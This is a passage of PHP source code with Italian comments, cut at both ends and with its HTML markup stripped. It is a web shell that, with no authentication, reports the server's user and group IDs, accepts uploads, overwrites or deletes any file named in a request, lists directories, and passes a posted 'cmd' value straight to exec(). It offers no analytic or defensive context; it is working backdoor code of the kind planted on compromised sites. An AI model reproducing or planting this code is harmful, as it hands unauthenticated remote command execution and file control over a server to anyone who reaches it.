";
if (is_callable("posix_getuid") and is_callable("posix_getgid")) {
$uid=posix_getuid();
$uname=posix_getpwuid($uid);
$uname=$uname['name'];
$gid=posix_getgid();
$gname=posix_getgrgid($gid);
$gname=$gname['name'];
print "
UID
$uid ($uname)
";
print "
GID
$gid ($gname)
";
}
print "
";
if (!isset($_POST['file'])) {
?>
\n";
print "Nome file: ".$_FILES['userfile']['name']." ".
"\nTipo: ".$_FILES['userfile']['type']." \n".
"Dimensione: ".$_FILES['userfile']['size']." bytes \n";
}
else print "Errore nel caricamento del file ".$_FILES['userfile']['name']." \n";
}
#
# Modifica o cancellazione di file
#
if (isset($_POST['dofile'])) {
$ref=$_SERVER['HTTP_REFERER'];
$fname=htmlentities($_POST['dofile']);
$content=$_POST['content'];
#
# Modifica
#
if (isset($_POST['save'])) {
if (!($fp=fopen($fname,"w")))
die ("Impossibile scrivere sul file $fname \n");
fputs ($fp,$content);
fclose($fp);
print ("Modifiche sul file $fname apportate con successo
\n");
}
#
# Cancellazione
#
if (isset($_POST['remove'])) {
unlink ($fname) or die ("Impossibile rimuovere il file $fname \n");
print "File $fname rimosso con successo
\n";
}
}
#
# Esecuzione di un comando
#
if (isset($_POST['cmd'])) {
$cmd=$_POST['cmd'];
$output=array();
exec ($cmd,$output);
print " \n";
print "Risultato del comando:
";
foreach ($output as $line)
print "$line \n";
print "\n";
die('');
}
#
# Visualizzazione di file
#
if (isset($_POST['fname'])) {
print "Attenzione: La modifica o la cancellazione di un file è possibile se e soltanto se ".
"quel file ha i permessi di scrittura per tutti
\n";
$fname=htmlentities($_POST['fname']);
$file=file($fname) or die ("Impossibile aprire $fname \n");
print "\n";
}
#
# Visualizzazione del contenuto di una directory
#
if (isset($_POST['dirname']))
$path=htmlspecialchars($_POST['dirname']);
else
$path=getcwd();
$dp=opendir($path) or die("Impossibile aprire $path \n");
chdir ($path);
$path=getcwd();
print "
\n";
print "Directory corrente: ".getcwd()."
\n\n";
$dir=array();
while ($file=readdir($dp))
if (strcmp(".",$file))
array_push($dir,"$path/$file");
closedir($dp);
sort($dir);
?>